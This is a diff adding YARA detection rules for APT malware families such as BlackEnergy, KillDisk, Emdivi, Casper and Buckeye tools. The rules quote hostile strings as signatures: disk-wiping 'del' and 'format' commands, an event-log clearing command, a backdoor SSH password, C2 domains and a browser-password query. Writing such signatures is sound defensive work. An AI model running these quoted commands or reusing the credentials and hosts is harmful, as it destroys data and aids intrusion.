+		$s11 = "udpflood" fullword ascii
+		$s12 = "shellcode" fullword ascii
+		$s13 = "&PassWord=" fullword ascii
+		$s14 = "SystemPropertiesProtection.exe" fullword ascii
+
+		/* C2 Server user by APT 6 group */
+		$c1 = "jobcall.org" ascii
+		$c2 = "sportsinfinite.com" ascii
+		$c3 = "milsatcom.us" ascii
+		$c4 = "geographicphotographer.com" ascii
+		$c5 = "snowsmooth.com" ascii
+		$c6 = "goodre.net" ascii
+		$c7 = "gloflabs.com" ascii
+	condition:
+		(
+			uint16(0) == 0x5a4d and filesize < 1000KB and
+			( 1 of ($x*) or 1 of ($c*) or 3 of ($s*) )
+		) or
+		( 6 of them )
+}
+
+rule custom_ssh_backdoor_server {
+	meta:
+		description = "Custome SSH backdoor based on python and paramiko - file server.py"
+		author = "Florian Roth"
+		reference = "https://goo.gl/S46L3o"
+		date = "2015-05-14"
+		hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
+	strings:
+		$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
+		$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
+		$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
+		$s3 = "chan.send(command)" fullword ascii
+		$s4 = "print '[-] SSH negotiation failed.'" fullword ascii
+		$s5 = "except paramiko.SSHException, x:" fullword ascii
+	condition:
+		filesize < 10KB and 5 of them
+}
+/*
+Author: Bit Byte Bitten
+Date: 5/14/2015
+*/
+
+rule apt_backspace{
+	meta:
+		description = "Detects APT backspace"
+		author = "Bit Byte Bitten"
+		date = "2015-05-14"
+		hash = "6cbfeb7526de65eb2e3c848acac05da1e885636d17c1c45c62ad37e44cd84f99"
+	strings:
+		$s1 = "!! Use Splice Socket !!"
+		$s2 = "User-Agent: SJZJ (compatible; MSIE 6.0; Win32)"
+		$s3 = "g_nAV=%d,hWnd:0x%X,className:%s,Title:%s,(%d,%d,%d,%d),BOOL=%d"
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-12
+	Identifier:
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule BeepService_Hacktool {
+	meta:
+		description = "Detects BeepService Hacktool used by Chinese APT groups"
+		author = "Florian Roth"
+		reference = "https://goo.gl/p32Ozf"
+		date = "2016-05-12"
+		score = 85
+		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
+		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
+		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
+		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
+	strings:
+		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
+
+		$s1 = "123.exe" fullword ascii
+		$s2 = "regclean.exe" fullword ascii
+		$s3 = "192.168.88.69" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and $x1 and 1 of ($s*)
+}
+rule dubseven_file_set
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for service files loading UP007"
+
+	strings:
+		$file1 = "\\Microsoft\\Internet Explorer\\conhost.exe"
+		$file2 = "\\Microsoft\\Internet Explorer\\dll2.xor"
+		$file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL"
+		$file4 = "\\Microsoft\\Internet Explorer\\main.dll"
+		$file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe"
+		$file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll"
+		$file7 = "\\Microsoft\\Internet Explorer\\mon"
+		$file8 = "\\Microsoft\\Internet Explorer\\runas.exe"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		//Just a few of these as they differ
+		3 of ($file*)
+}
+
+rule dubseven_dropper_registry_checks
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for registry keys checked for by the dropper"
+
+	strings:
+		$reg1 = "SOFTWARE\\360Safe\\Liveup"
+		$reg2 = "Software\\360safe"
+		$reg3 = "SOFTWARE\\kingsoft\\Antivirus"
+		$reg4 = "SOFTWARE\\Avira\\Avira Destop"
+		$reg5 = "SOFTWARE\\rising\\RAV"
+		$reg6 = "SOFTWARE\\JiangMin"
+		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		all of ($reg*)
+}
+
+rule dubseven_dropper_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants. How rude."
+
+	strings:
+		$dia1 = "fuckMessageBox 1.0" wide
+		$dia2 = "Rundll 1.0" wide
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		any of them
+}
+
+
+rule maindll_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Matches on the maindll mutex"
+
+	strings:
+		$mutex = "h31415927tttt"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+
+rule SLServer_dialog_remains
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for related dialog remnants."
+
+	strings:
+		$slserver = "SLServer" wide fullword
+
+		$fp1 = "Dell Inc." wide fullword
+		$fp2 = "ScriptLogic Corporation" wide
+
+		$extra1 = "SLSERVER" wide fullword
+		$extra2 = "\\SLServer.pdb" ascii
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		// Reduce false positives
+		not 1 of ($fp*) and
+		1 of ($extra*) and
+
+		$slserver
+}
+
+rule SLServer_mutex
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the mutex."
+
+	strings:
+		$mutex = "M&GX^DSF&DA@F"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$mutex
+}
+
+rule SLServer_command_and_control
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the C2 server."
+
+	strings:
+		$c2 = "safetyssl.security-centers.com"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$c2
+}
+
+rule SLServer_campaign_code
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for the related campaign code."
+
+	strings:
+		$campaign = "wthkdoc0106"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$campaign
+}
+
+rule SLServer_unknown_string
+{
+	meta:
+		author = "Matt Brooks, @cmatthewbrooks"
+		date = "2016/04/18"
+		score = 75
+		description = "Searches for a unique string."
+
+	strings:
+		$string = "test-b7fa835a39"
+
+	condition:
+		//MZ header
+		uint16(0) == 0x5A4D and
+
+		//PE signature
+		uint32(uint32(0x3C)) == 0x00004550 and
+
+		$string
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-02-19
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_BE_2 {
+   meta:
+      description = "Detects BlackEnergy 2 Malware"
+      author = "Florian Roth"
+      reference = "http://goo.gl/DThzLz"
+      date = "2015/02/19"
+      hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
+   strings:
+      $s0 = "<description> Windows system utility service  </description>" fullword ascii
+      $s1 = "WindowsSysUtility - Unicode" fullword wide
+      $s2 = "msiexec.exe" fullword wide
+      $s3 = "WinHelpW" fullword ascii
+      $s4 = "ReadProcessMemory" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 250KB and all of ($s*)
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-03
+	Identifier: BlackEnergy Malware
+*/
+
+rule BlackEnergy_VBS_Agent {
+	meta:
+		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
+	strings:
+		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
+		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
+		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii /* Goodware String - occured 1 times */
+	condition:
+		filesize < 1KB and 2 of them
+}
+
+rule DropBear_SSH_Server {
+	meta:
+		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 50
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+	strings:
+		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
+		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
+		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
+		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
+		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them
+}
+
+rule BlackEnergy_BackdoorPass_DropBear_SSH {
+	meta:
+		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+	strings:
+		$s1 = "passDs5Bu9Te7" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s1
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule BlackEnergy_KillDisk_1 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
+		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+	strings:
+		$s0 = "system32\\cmd.exe" fullword ascii
+		$s1 = "system32\\icacls.exe" fullword wide
+		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
+		$s3 = "shutdown /r /t %d" fullword ascii
+		$s4 = "/C /Q /grant " fullword wide
+		$s5 = "%08X.tmp" fullword ascii
+		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
+		$s7 = "/c format %c: /Y /Q" fullword ascii
+		$s8 = "taskhost.exe" fullword wide /* Goodware String - occured 1 times */
+		$s9 = "shutdown.exe" fullword wide /* Goodware String - occured 1 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 8 of them
+}
+
+rule BlackEnergy_KillDisk_2 {
+	meta:
+		description = "Detects KillDisk malware from BlackEnergy"
+		author = "Florian Roth"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		date = "2016-01-03"
+		score = 80
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
+	strings:
+		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
+		$s1 = "%s%08X.tmp" fullword ascii
+		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" fullword wide
+		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 3 of them
+}
+
+rule BlackEnergy_Driver_USBMDM {
+	meta:
+		description = "Auto-generated rule - from files 7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094, b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a, edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		author = "Florian Roth"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
+		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
+		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
+		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
+		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
+		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
+		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
+	strings:
+		$s1 = "USB MDM Driver" fullword wide
+		$s2 = "KdDebuggerNotPresent" fullword ascii /* Goodware String - occured 50 times */
+		$s3 = "KdDebuggerEnabled" fullword ascii /* Goodware String - occured 69 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 180KB and all of them
+}
+
+rule BlackEnergy_Driver_AMDIDE {
+	meta:
+		description = "Auto-generated rule - from files 32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614, 3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2, 90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c, 97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		author = "Florian Roth"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		date = "2016-01-04"
+		super_rule = 1
+		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
+		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
+		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
+		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
+		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
+		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
+	strings:
+		$s1 = " AMD IDE driver" fullword wide
+		$s2 = "SessionEnv" fullword wide
+		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
+		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule blackenergy3_installer
+{
+	meta:
+		author = "Mike Schladt"
+		date = "2015-05-29"
+		description = "Matches unique code block for import name construction "
+		md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
+		sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
+		reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+	strings:
+		$import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }            
+	condition : 
+		any of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth @Cyber0ps
+	Date: 2015-08-20
+	Identifier: Emdivi
+*/
+
+rule Emdivi_SFX {
+	meta:
+		description = "Detects Emdivi malware in SFX Archive"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 70
+		hash1 = "7a3c81b2b3c14b9cd913692347019887b607c54152b348d6d3ccd3ecfd406196"
+		hash2 = "8c3df4e4549db3ce57fc1f7b1b2dfeedb7ba079f654861ca0b608cbfa1df0f6b"
+	strings:
+		$x1 = "Setup=unsecess.exe" fullword ascii
+		$x2 = "Setup=leassnp.exe" fullword ascii
+
+		$s1 = "&Enter password for the encrypted file:" fullword wide
+		$s2 = ";The comment below contains SFX script commands" fullword ascii
+		$s3 = "Path=%temp%" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 740KB and (1 of ($x*) and all of ($s*))
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Emdivi_Gen1 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		score = 80
+		super_rule = 1
+		hash1 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash2 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash3 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash4 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+	strings:
+		$x1 = "wmic nteventlog where filename=\"SecEvent\" call cleareventlog" fullword wide
+		$x2 = "del %Temp%\\*.exe %Temp%\\*.dll %Temp%\\*.bat %Temp%\\*.ps1 %Temp%\\*.cmd /f /q" fullword wide
+		$x3 = "userControl-v80.exe" fullword ascii
+
+		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword wide
+		$s2 = "http://www.msftncsi.com" fullword wide
+		$s3 = "net use | find /i \"c$\"" fullword wide
+		$s4 = " /del /y & " fullword wide
+		$s5 = "\\auto.cfg" fullword wide
+		$s6 = "/ncsi.txt" fullword wide
+		$s7 = "Dcmd /c" fullword wide
+		$s8 = "/PROXY" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule Emdivi_Gen2 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "9a351885bf5f6fec466f30021088504d96e9db10309622ed198184294717add1"
+		hash2 = "a5be7cb1f37030c9f9211c71e0fbe01dae19ff0e6560c5aab393621f18a7d012"
+		hash3 = "9183abb9b639699cd2ad28d375febe1f34c14679b7638d1a79edb49d920524a4"
+	strings:
+		$s1 = "%TEMP%\\IELogs\\" fullword ascii
+		$s2 = "MSPUB.EXE" fullword ascii
+		$s3 = "%temp%\\" fullword ascii
+		$s4 = "\\NOTEPAD.EXE" fullword ascii
+		$s5 = "%4d-%02d-%02d %02d:%02d:%02d " fullword ascii
+		$s6 = "INTERNET_OPEN_TYPE_PRECONFIG" fullword ascii
+		$s7 = "%4d%02d%02d%02d%02d%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1300KB and 6 of them
+}
+
+rule Emdivi_Gen3 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727.42)" fullword ascii
+
+		$s2 = "\\Mozilla\\Firefox\\Profiles\\" fullword ascii
+		$s4 = "\\auto.cfg" fullword ascii
+		$s5 = "/ncsi.txt" fullword ascii
+		$s6 = "/en-us/default.aspx" fullword ascii
+		$s7 = "cmd /c" fullword ascii
+		$s9 = "APPDATA" fullword ascii /* Goodware String - occured 25 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 850KB and
+		(
+			( $x1 and 1 of ($s*) ) or
+			( 4 of ($s*) )
+		)
+}
+
+rule Emdivi_Gen4 {
+	meta:
+		description = "Detects Emdivi Malware"
+		author = "Florian Roth @Cyber0ps"
+		reference = "https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/"
+		date = "2015-08-20"
+		super_rule = 1
+		score = 80
+		hash1 = "008f4f14cf64dc9d323b6cb5942da4a99979c4c7d750ec1228d8c8285883771e"
+		hash2 = "17e646ca2558a65ffe7aa185ba75d5c3a573c041b897355c2721e9a8ca5fee24"
+		hash3 = "3553c136b4eba70eec5d80abe44bd7c7c33ab1b65de617dbb7be5025c9cf01f1"
+		hash4 = "6a331c4e654dd8ddaa2c69d260aa5f4f76f243df8b5019d62d4db5ae5c965662"
+		hash5 = "90d07ea2bb80ed52b007f57d0d9a79430cd50174825c43d5746a16ee4f94ea86"
+		hash6 = "a94bf485cebeda8e4b74bbe2c0a0567903a13c36b9bf60fab484a9b55207fe0d"
+	strings:
+		$s1 = ".http_port\", " fullword wide
+		$s2 = "UserAgent: " fullword ascii
+		$s3 = "AUTH FAILED" fullword ascii
+		$s4 = "INVALID FILE PATH" fullword ascii
+		$s5 = ".autoconfig_url\", \"" fullword wide
+		$s6 = "FAILED TO WRITE FILE" fullword ascii
+		$s7 = ".proxy" fullword wide
+		$s8 = "AuthType: " fullword ascii
+		$s9 = ".no_proxies_on\", \"" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 853KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-05
+	Identifier: Buckeye
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Buckeye_Osinfo {
+	meta:
+		description = "Detects OSinfo tool used by the Buckeye APT group"
+		author = "Florian Roth"
+		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+		date = "2016-09-05"
+	strings:
+		$s1 = "-s ShareInfo ShareDir" fullword ascii
+		$s2 = "-a Local And Global Group User Info" fullword ascii
+		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
+		$s4 = "info <\\server> <user>" fullword ascii
+		$s5 = "-c Connect Test" fullword ascii
+		$s6 = "-gd Group Domain Admins" fullword ascii
+		$s7 = "-n NetuseInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 3 of ($s*)
+}
+
+rule RemoteCmd {
+	meta:
+		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
+	strings:
+		$s1 = "RemoteCmd.exe" fullword wide
+		$s2 = "\\Release\\RemoteCmd.pdb" fullword ascii
+		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
+		$s4 = "http://{0}:65101/CommandEngine" fullword wide
+		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
+		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and 2 of them ) or ( 4 of them )
+}
+
+rule ChromePass {
+	meta:
+		description = "Detects a tool used by APT groups - file ChromePass.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
+	strings:
+		$x1 = "\\Release\\ChromePass.pdb" fullword ascii
+		$x2 = "Windows Protect folder for getting the encryption keys" wide
+		$x3 = "Chrome User Data folder where the password file is stored" wide
+
+		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
+		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
+		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
+		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
+		$s5 = "Load the passwords of the current logged-on user" fullword wide
+		$s6 = "Windows Login Password:" fullword wide
+		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
+		$s8 = "Chrome Password Recovery" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) ) or ( 5 of them )
+}
+
+/* State-sponsored Casper Malware Rules by @4nc4p - attribution and analysis by @pinkflawd @r00tbsd @circl_lu */
+
+rule Casper_Backdoor_x86 {
+	meta:
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/05"
+		hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
+		score = 80
+	strings:
+		$s1 = "\"svchost.exe\"" fullword wide
+		$s2 = "firefox.exe" fullword ascii
+		$s3 = "\"Host Process for Windows Services\"" fullword wide
+		
+		$x1 = "\\Users\\*" fullword ascii
+		$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
+		$x3 = "\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
+		$x4 = "\\Documents and Settings\\*" fullword ascii
+		
+		$y1 = "%s; %S=%S" fullword wide
+		$y2 = "%s; %s=%s" fullword ascii
+		$y3 = "Cookie: %s=%s" fullword ascii
+		$y4 = "http://%S:%d" fullword wide
+		
+		$z1 = "http://google.com/" fullword ascii
+		$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
+		$z3 = "Operating System\"" fullword wide
+	condition:
+		( all of ($s*) ) or
+		( 3 of ($x*) and 2 of ($y*) and 2 of ($z*) )
+}
+
+rule Casper_EXE_Dropper {
+	meta:
+		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
+		author = "Florian Roth"
+		reference = "http://goo.gl/VRJNLo"
+		date = "2015/03/05"
+		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
+		score = 80
+	strings:
+		$s0 = "<Command>" fullword ascii
+		$s1 = "</Command>" fullword ascii
+		$s2 = "\" /d \"" fullword ascii
+		$s4 = "'%s' %s" fullword ascii
+		$s5 = "nKERNEL32.DLL" fullword wide
+		$s6 = "@ReturnValue" fullword wide
+		$s7 = "ID: 0x%x" fullword ascii
+		$s8 = "Name: %S" fullword ascii
+	condition:
+		7 of them
+}
+
